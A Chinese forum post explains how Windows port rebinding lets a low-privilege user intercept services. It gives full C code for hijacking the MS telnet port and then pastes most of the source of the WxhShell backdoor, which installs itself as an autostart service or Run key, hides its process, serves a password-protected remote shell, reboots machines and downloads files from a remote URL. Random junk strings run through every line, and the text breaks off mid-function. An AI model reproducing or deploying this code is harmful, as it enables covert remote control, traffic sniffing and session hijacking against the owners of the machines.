社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13645阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z|KDi `S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #6~KO7}  
7.2G}O6$  
  saddr.sin_family = AF_INET; RKzO$T  
|t"CH'KJZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :tbI=NDb  
}72\Aw5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I[rR-4.F]  
'<,Dz=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X<_HQ  
XD8Cf!  
  这意味着什么?意味着可以进行如下的攻击: Qu<6X@+5  
{oOUIP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %qsl<_&  
] 0L=+=w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZweAY.]e  
IjOBY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  &I-T  
VZ IY=Q>g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RU#}!Kq  
&b>&XMIK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iN[6}V6Sm  
K:9AP{+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IkmEctAU  
k|>yFc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @}PXBU   
M_+W5Gz<  
  #include Tei2[siA5  
  #include q%M~gp1  
  #include W'Ew!]Q3  
  #include    bD/ZKvg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   # B <%  
  int main() -Sh&x  
  { 2\&3x} @  
  WORD wVersionRequested; s[eSPSFZ  
  DWORD ret; 2aR9vmR  
  WSADATA wsaData; 3S#p4{3   
  BOOL val; A|K=>7n]U  
  SOCKADDR_IN saddr; h$sOJs~6h  
  SOCKADDR_IN scaddr; GwXhn2  
  int err; s% rmfIp"  
  SOCKET s; MrUjqv6a[  
  SOCKET sc; =!DX,S7  
  int caddsize; [So1`IA6  
  HANDLE mt; n>,GmCo  
  DWORD tid;   Yx,E5}-  
  wVersionRequested = MAKEWORD( 2, 2 ); _'G'>X>}WU  
  err = WSAStartup( wVersionRequested, &wsaData ); G3y8M |:  
  if ( err != 0 ) { ]7TOA$Q  
  printf("error!WSAStartup failed!\n"); UsA fZg8  
  return -1; E,ilJl\  
  } H;<>uE Lie  
  saddr.sin_family = AF_INET; &2.DZ),L  
   y4@gw.pt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K2Ro0  
D=%1?8K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  %nUN  
  saddr.sin_port = htons(23); y5*zyd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]8"U)fzmc.  
  { }'}n~cA.{  
  printf("error!socket failed!\n"); aeNbZpFQ  
  return -1; c zT2f  
  } bbjEQby  
  val = TRUE; o,?G(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OqRRf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]zAwKuIK  
  { 7l/ZRz }1  
  printf("error!setsockopt failed!\n"); p<\!{5:   
  return -1; &N=vs  
  } kf<c[su  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CvZ\Z472.j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N3lz-vP-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %A3m%&(m&%  
WB_BEh[>j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {U>N*&_`  
  { ~uq010lMno  
  ret=GetLastError(); D/"velV  
  printf("error!bind failed!\n"); 5|r*,! CF  
  return -1; J,?F+Qji&=  
  } U8NX%*oW  
  listen(s,2); zjow %  
  while(1) ->?tB1}^  
  { w oIZFus  
  caddsize = sizeof(scaddr); {9{X\|  
  //接受连接请求 L#'XN H"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gt?l 2s  
  if(sc!=INVALID_SOCKET) 32HF&P+0%  
  { PW5)") z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Iw.!*0$  
  if(mt==NULL) |cnps$fk~  
  { EqtL&UHe  
  printf("Thread Creat Failed!\n"); R{Zd ]HT  
  break; iFI+W<QR  
  } f@Jrbg  
  } RR:%"4M  
  CloseHandle(mt); mj9sX^$ dE  
  } W 2[]m>;  
  closesocket(s); k{vbi-^6rf  
  WSACleanup(); Fx.Ly]L  
  return 0; t_!p({  
  }   sCt)Yp+8}B  
  DWORD WINAPI ClientThread(LPVOID lpParam) <FU?^*~  
  { :2M&C+f[  
  SOCKET ss = (SOCKET)lpParam; 'Nt)7U>oC9  
  SOCKET sc; bW! &n  
  unsigned char buf[4096]; ))Z>$\<:  
  SOCKADDR_IN saddr; YU8]W%  
  long num; ;/Z-|+!IJt  
  DWORD val; | ?vm.zp  
  DWORD ret; eC%Skw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z- a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Dj c-f  
  saddr.sin_family = AF_INET; Pf,@U'f|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d8agM/F*/  
  saddr.sin_port = htons(23); 6| B9kh}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VZr:yE  
  { >w7KOVbN3  
  printf("error!socket failed!\n"); Ng !d6]  
  return -1; !Tv3WQ@  
  } N8Zz6{rp  
  val = 100; Mh~}RA"H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (&Lt&i _  
  { ILAn2W  
  ret = GetLastError(); 2IM 31 .  
  return -1; Ic_NQ<8  
  } >l AtfN='  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WG6 0  
  { 2YKa <?_  
  ret = GetLastError(); 7M7Ir\d0lp  
  return -1; IKP GqoM  
  } {]}94T~/k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mgVYKZWL-i  
  { K.mxF,H  
  printf("error!socket connect failed!\n"); 7p2xst  
  closesocket(sc); jy2gR1~  
  closesocket(ss); /; Bmh=  
  return -1; UsFn!!+  
  } o.fqJfpj  
  while(1) ,I5SAd|dX  
  { EV{Ys}3M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OrM1eP"I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 54z.@BJhE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J@$~q}iG  
  num = recv(ss,buf,4096,0); O HpV%8`  
  if(num>0) #L+:MA7H  
  send(sc,buf,num,0); bz#]>RD  
  else if(num==0) =iKl<CqI$E  
  break; 1VM2CgRa  
  num = recv(sc,buf,4096,0); fM"*;LN!N  
  if(num>0) ]"{8"+x  
  send(ss,buf,num,0); Lm2!<<<  
  else if(num==0) ]'(D*4  
  break; %2 zmc%]r  
  } gHstdp_3  
  closesocket(ss); &LAXNk2  
  closesocket(sc); =8?Kn@nMN  
  return 0 ; |SjRss:i+  
  } ;mk[!  
-g2l-N{&  
\_8wU' 7  
========================================================== A/'po_'uy  
]1<GZ`  
下边附上一个代码,,WXhSHELL .nrllVG%`  
v}Ju2}IK  
========================================================== rjK`t_(=  
@0@ZlH wM  
#include "stdafx.h" sg^|dS{3D  
Wvr{l  
#include <stdio.h> + tMf&BZ  
#include <string.h> \$w kr  
#include <windows.h> s||" } l  
#include <winsock2.h> :NF4[c  
#include <winsvc.h> P Y^#hC5:  
#include <urlmon.h> ^HJ?k:u  
PT6]qS'1  
#pragma comment (lib, "Ws2_32.lib") {k) gDJU  
#pragma comment (lib, "urlmon.lib") |sReHt2)d  
;cI*"-I:F  
#define MAX_USER   100 // 最大客户端连接数 Y!CUUWM  
#define BUF_SOCK   200 // sock buffer DHWz,M  
#define KEY_BUFF   255 // 输入 buffer Fa )QDBz)  
*$<W"@%^J  
#define REBOOT     0   // 重启 [^5;XD:%&l  
#define SHUTDOWN   1   // 关机 }LT&BNZj  
dg24h7|]  
#define DEF_PORT   5000 // 监听端口 >SK:b/i  
(6S'wb  
#define REG_LEN     16   // 注册表键长度  L\PmT  
#define SVC_LEN     80   // NT服务名长度 clB K  
Q- |Y  
// 从dll定义API s;Gd`-S>d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u##th8h4U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jo\P,-\(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h<Aq|*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K] (*l"'U5  
K"0IWA  
// wxhshell配置信息  ;v:(  
struct WSCFG { {?H5Pw>{%h  
  int ws_port;         // 监听端口 ;KlYiu  
  char ws_passstr[REG_LEN]; // 口令 XnQR(r)pR2  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ku75YFO,5  
  char ws_regname[REG_LEN]; // 注册表键名 W#p7M[  
  char ws_svcname[REG_LEN]; // 服务名 -[=eVS.2%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ur(R[*2bx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r0XEB,}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Db,"Gl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -^xbd_'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eluN~T:W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @&ZQDi  
yWi-ic [n  
}; 5G f@n/M"  
T+<.KvO-  
// default Wxhshell configuration  yfZNL?2x  
struct WSCFG wscfg={DEF_PORT, "o&8\KSs  
    "xuhuanlingzhe", |vI`u[P  
    1, ?;ok9Y  
    "Wxhshell", -&5YRfr!  
    "Wxhshell", l;lrf3  
            "WxhShell Service", W,<q!<z\t  
    "Wrsky Windows CmdShell Service", .S/ 5kLul  
    "Please Input Your Password: ", o.{W_k/n  
  1, D:1@1Jr  
  "http://www.wrsky.com/wxhshell.exe", =&bI-  
  "Wxhshell.exe" & o5x  
    }; 5#K*75>  
M ^o_='\bE  
// 消息定义模块 SiLW[JXd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DiFYVR<@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }KI/fh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %F;BL8d  
char *msg_ws_ext="\n\rExit."; ^+_rv  
char *msg_ws_end="\n\rQuit."; |C [!A  
char *msg_ws_boot="\n\rReboot..."; q!$s<n  
char *msg_ws_poff="\n\rShutdown..."; ]vvYPRV76  
char *msg_ws_down="\n\rSave to "; =,6H2ew  
{zwH3)|Hn  
char *msg_ws_err="\n\rErr!"; 'ToE Y3  
char *msg_ws_ok="\n\rOK!"; V?uT5.B2  
@+gr/Pul^  
char ExeFile[MAX_PATH]; NKu[6J?)  
int nUser = 0; )}ev;37<C  
HANDLE handles[MAX_USER]; >'*%wf[{  
int OsIsNt; 6 c_#"4  
-s3`mc}*  
SERVICE_STATUS       serviceStatus; qoO`)<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4&}%GH>}  
u 272)@R  
// 函数声明 kxMvOB$  
int Install(void); paqGW]  
int Uninstall(void); *N">93:  
int DownloadFile(char *sURL, SOCKET wsh); =;rLv7(a  
int Boot(int flag); SqM>xm  
void HideProc(void); F]ao Ty  
int GetOsVer(void); h?mDtMCw2  
int Wxhshell(SOCKET wsl); S,m(  
void TalkWithClient(void *cs); 5\+*ml  
int CmdShell(SOCKET sock); +A| Bc~2!  
int StartFromService(void); Q|'f3\  
int StartWxhshell(LPSTR lpCmdLine); >,e^}K}C  
}[AaI #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u<-)C)z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n{tc{LII/  
$.PRav  
// 数据结构和表定义 RM;a]g*  
SERVICE_TABLE_ENTRY DispatchTable[] = g#5R|| r  
{ }"D;?$R!  
{wscfg.ws_svcname, NTServiceMain}, ?I}RX~Tgg  
{NULL, NULL} fVbjU1N  
}; $n\Pw  
p*;!5;OUR  
// 自我安装 'nCVjO7o  
int Install(void) AV5={KK  
{ i,6OMB $  
  char svExeFile[MAX_PATH]; %K6veB{M  
  HKEY key; lvW T  
  strcpy(svExeFile,ExeFile); s L^+$Mq6  
]o6 ZZK  
// 如果是win9x系统,修改注册表设为自启动 d?zSwLsl  
if(!OsIsNt) { 1}(22Q;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TeHJj`rdAU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O~3 A>j  
  RegCloseKey(key); u{sHuVl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L;Ff(0x|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W/Dd7 G#IC  
  RegCloseKey(key); L@N %S Sf  
  return 0; D=e*rrL7a  
    } 4V@%Y,:ee  
  }  Rb6BY-/J  
} Pb5yz-?  
else { 9\Ii$Mp  
 LA3m,  
// 如果是NT以上系统,安装为系统服务 F>fCp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w!F>fcm  
if (schSCManager!=0) s<I)THC  
{ b>ai"!  
  SC_HANDLE schService = CreateService 4agW<c#  
  ( dY 8 H2;  
  schSCManager, I,-n[k\J  
  wscfg.ws_svcname, [l}H:%O,  
  wscfg.ws_svcdisp, 3&hR#;,"X  
  SERVICE_ALL_ACCESS, zp}7p~#k^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (i~UH04r>s  
  SERVICE_AUTO_START, )|~K&qn`  
  SERVICE_ERROR_NORMAL, =7 l uV_5  
  svExeFile, Y2`sL,'h  
  NULL, I dK*IA4  
  NULL, 1&w%TRC2x  
  NULL, gIB3DuUo  
  NULL, %3z[;&*3O  
  NULL ^ja]e%w#  
  ); yXNr[ 7  
  if (schService!=0) Q]WBH_j  
  { :?M_U;;z2+  
  CloseServiceHandle(schService); DQG%`-J  
  CloseServiceHandle(schSCManager); GcV/_Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qc8Ge\3s  
  strcat(svExeFile,wscfg.ws_svcname); x3+ -wv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =o#Z?Bn5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \s=r[0tj!  
  RegCloseKey(key); ;K<VT\  
  return 0; F2N"aQ&  
    } "n%j2"TYJj  
  }  u r$  
  CloseServiceHandle(schSCManager); s)-An( Uw  
} { DYY9MG8  
} S?688  
5CI {&E  
return 1; _^iY;&  
} *!QmYH5r0  
Ip t;NlR  
// 自我卸载 1eI*.pt  
int Uninstall(void) @Jd&[T27Lr  
{ 9Yt|Wj  
  HKEY key; '2lV(>"  
pDS[ecx  
if(!OsIsNt) { 2yfU]`qN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lNX*s E .  
  RegDeleteValue(key,wscfg.ws_regname); MJ}{Q1|*  
  RegCloseKey(key); a 0SZw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v5[gFY(?  
  RegDeleteValue(key,wscfg.ws_regname); Vn#}f=u\  
  RegCloseKey(key); Ed=/w6<  
  return 0; +hRy{Ps/  
  } ;\pr05  
} 8m+~HSIR  
} +SFFwjI  
else { F_@B ` ,  
e{x>u(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b|i4me@  
if (schSCManager!=0) ~XR ('}5D  
{ |lNp0b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |4+'YgO  
  if (schService!=0) Ag8/%a~(  
  {  Xu-~j!  
  if(DeleteService(schService)!=0) { aO{@.  
  CloseServiceHandle(schService); j@xIa-{*  
  CloseServiceHandle(schSCManager); Tvv>9gS  
  return 0; r_+Vb*|Y  
  } =%U &$d|@G  
  CloseServiceHandle(schService); "51/,D  
  } 6ALjM-t=V  
  CloseServiceHandle(schSCManager); GCl *x:  
} Q>5f@aN  
} AXbb-GK  
tddwnpnSw  
return 1; Z_ GGH2u  
} ct\msG }b:  
T@1;Nbz]  
// 从指定url下载文件 e66Ag}Sw|  
int DownloadFile(char *sURL, SOCKET wsh) 4Sh8w%s  
{ ip?]&5s  
  HRESULT hr; qJG;`Ugl:  
char seps[]= "/"; d(^8#4  
char *token; Bz'.7" ":0  
char *file; 0moAmfc  
char myURL[MAX_PATH]; d/  Lz"  
char myFILE[MAX_PATH]; 5( <O?#P  
{IOc'W-C#2  
strcpy(myURL,sURL); -nGcm"'6F  
  token=strtok(myURL,seps); =-^A;AO(  
  while(token!=NULL) x-i,v"8  
  { S(.J  
    file=token; vjX,7NY?  
  token=strtok(NULL,seps); P5my]4|x  
  } "G%S m")  
,$`} Rf<  
GetCurrentDirectory(MAX_PATH,myFILE); t?9J'.p  
strcat(myFILE, "\\"); ?)9L($VVD  
strcat(myFILE, file); ) f3A\^  
  send(wsh,myFILE,strlen(myFILE),0); >vD}gGBe  
send(wsh,"...",3,0); 2S7 BzZ/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x<I[?GT=  
  if(hr==S_OK) jm%P-C @  
return 0; k[*9b:~  
else 8Yc-3ozH  
return 1; h[dJNawL  
sqhMnDn[  
} ((gI OTV  
T.cTL.}  
// 系统电源模块 FWu:5fBZY  
int Boot(int flag) Sfe[z=7S  
{ $7YZ;=~B  
  HANDLE hToken; gw)z*3]~s  
  TOKEN_PRIVILEGES tkp; '/`O*KD]  
@vq)Y2)r\  
  if(OsIsNt) { T;DKDg a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XW aa`q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YWU@e[  
    tkp.PrivilegeCount = 1; ]#NfH-T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k2eKs*WLC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !,ODczWvh  
if(flag==REBOOT) { TDw~sxtv&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E^J &?-  
  return 0; }@LIb<Y  
} 0V6, &rTF  
else { q25p3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2|7:`e~h  
  return 0; @(L}:]{@  
} 25Ee+&&%  
  } G-i2#S   
  else { g5U,   
if(flag==REBOOT) { MR|A_e^x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9]N{8  
  return 0;  0Y!"3bw|  
} (}wPu&Is,C  
else { t{UVX%b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uKzx >\}?1  
  return 0; e!0xh  
} 2MB>NM<xO  
} ajkV"~w',|  
'T^MaLK  
return 1; [? "hmSJ  
} !Gnm<|.  
Lea4-Gc  
// win9x进程隐藏模块 UG44 oKB  
void HideProc(void) .WSn Y71  
{ 41/civX>V  
@F8NN\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pg.JI:>2Ku  
  if ( hKernel != NULL ) lZ5-lf4  
  { ^XeJZkLEB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^5MM<73  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z:^<NdKe  
    FreeLibrary(hKernel); _3W .:  
  } EwcFxLa!F  
_S[@?]=`b  
return; 7kD?xHpe  
} >/Z*\6|Zx#  
I!Dx)>E&  
// 获取操作系统版本 8\E=p+C  
int GetOsVer(void) R6X2d\l#  
{ 8m H6?,@6  
  OSVERSIONINFO winfo; +Y*4/w[   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = mQY%l  
  GetVersionEx(&winfo); b&A/S$*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wx-&(f   
  return 1; +)h# !/  
  else zEQQ4)mA  
  return 0; xBc$qjV  
} 2.JrLBhN  
 %o/@0.w  
// 客户端句柄模块 O.#R r/+)  
int Wxhshell(SOCKET wsl) KUPQ6v }  
{ |H=5Am  
  SOCKET wsh; n[y=DdiKGS  
  struct sockaddr_in client; ?lqqu#;8  
  DWORD myID; uFmpc7  
b i-Am/9  
  while(nUser<MAX_USER) k~;~i)Eg  
{ 1xtS$^APcd  
  int nSize=sizeof(client); $Vp&7OC]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~BTm6*'h  
  if(wsh==INVALID_SOCKET) return 1; p\I3fI0i  
44n41.Q]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U1 3Lsky%  
if(handles[nUser]==0) A"DGn  
  closesocket(wsh); -mO<(wfV>  
else x-@?:P*  
  nUser++; 6(\-aH'Ol  
  } BGfwgI.m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~Gc@#Msj  
Y: C qQ  
  return 0; o;9H~E  
} P\[K)N/1  
r_ m|?U %  
// 关闭 socket r#j3O}(n  
void CloseIt(SOCKET wsh) cMtUb  
{ QHXpX9  
closesocket(wsh); _eQ-'")  
nUser--; b* n#XTV  
ExitThread(0); H9_>a-> )~  
} L kafB2y  
Eb5>c/(  
// 客户端请求句柄 ?st}rJ_  
void TalkWithClient(void *cs) %/U'Wu{*  
{ |]:6IuslJ  
q 7W7sw  
  SOCKET wsh=(SOCKET)cs; V[^AV"V  
  char pwd[SVC_LEN]; 1mh7fZgn  
  char cmd[KEY_BUFF]; k,OxGG  
char chr[1]; \\Zsxya1  
int i,j; U1yspHiZ  
-hF!_);{  
  while (nUser < MAX_USER) { oQ Vm)Bn'R  
oN83`Z  
if(wscfg.ws_passstr) { Ir` l*:j$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !}`[s2ji  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V LeYO5'L  
  //ZeroMemory(pwd,KEY_BUFF); }!*|VdL0  
      i=0; nR Hl Hu  
  while(i<SVC_LEN) { &f A1kG%  
&a >UVs?=  
  // 设置超时 yWN'va1+$  
  fd_set FdRead; 5^qs>k[mN  
  struct timeval TimeOut; S=L#8CID  
  FD_ZERO(&FdRead); BB/c5?V  
  FD_SET(wsh,&FdRead); LEg|R+ 6E  
  TimeOut.tv_sec=8; &RS)U72  
  TimeOut.tv_usec=0; <|3F('Q"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ok-q9dM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _M>S=3w  
cy8r}wD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GAR6nJCz  
  pwd=chr[0]; IAmMO[9H  
  if(chr[0]==0xd || chr[0]==0xa) { RT%{M1tkS  
  pwd=0; E-9>lb  
  break; ~T._ v;IT  
  } H11@ DQ6  
  i++; fA V.Mj-  
    } VK%ExMSqEh  
4dz Ym+vJm  
  // 如果是非法用户,关闭 socket 0|\JbM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1?TgI0HS  
} ,F'y:px  
]RVme^=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *= %`f=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /byF:iYI  
'oBv(H  
while(1) {  Cb|R  
'o8,XBv-  
  ZeroMemory(cmd,KEY_BUFF); ARJtE@s6Y  
+,ld;NM{  
      // 自动支持客户端 telnet标准   ye {y[$#3  
  j=0; H!y-o'Z  
  while(j<KEY_BUFF) { MqWM!v-M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Guwbg  
  cmd[j]=chr[0]; )Ps<u-V  
  if(chr[0]==0xa || chr[0]==0xd) { grd fR`3  
  cmd[j]=0; #b&=CsW`  
  break; aXbj pb+  
  } v9D[| 4  
  j++; c)QOgXv  
    } .?F`H[^)^u  
Hc0V4NHCaL  
  // 下载文件 x;7p75Wm  
  if(strstr(cmd,"http://")) { <Lle1=qQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @a]`C $ 6  
  if(DownloadFile(cmd,wsh)) "+&@iL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7gqoJM'Q  
  else m}m|(;T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @<S'f<>g  
  } %CrpUx  
  else { 61b<6 r0o  
'Te'wh=Y  
    switch(cmd[0]) { |L)qH"Eo  
  @<1T&X{Z!  
  // 帮助 ?`SB GN;  
  case '?': { y0t-e   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5e'**tbKH  
    break; taSYR$VJ  
  } aTLr%D:Ka  
  // 安装 UXS+GAWU  
  case 'i': { K!G/iz9SB  
    if(Install()) Kku@!lv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wD<W'K   
    else K+U0YMRmz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cn ;2&  
    break; ;sSRv9Xb  
    } \D! I"mr  
  // 卸载 g+k yvI7o  
  case 'r': { Ys%d  
    if(Uninstall()) x1`Jlzrp,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j+3=&PkA.]  
    else )5U7w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; JHf0  
    break; e5sQl1  
    } )|U+<r<  
  // 显示 wxhshell 所在路径 XCO;t_%  
  case 'p': { IkLcL8P^  
    char svExeFile[MAX_PATH]; E-#}.}i5  
    strcpy(svExeFile,"\n\r"); a&`Lfw"  
      strcat(svExeFile,ExeFile); U$IB_a2  
        send(wsh,svExeFile,strlen(svExeFile),0); i~*#z&4A+  
    break; z0tm3ovp  
    } {,o 0N\(  
  // 重启 Kx,<-]4  
  case 'b': { R M`iOV,Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bO gVC g  
    if(Boot(REBOOT)) 0 !F! Y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?kyJ4S  
    else { Qb1hk*$=  
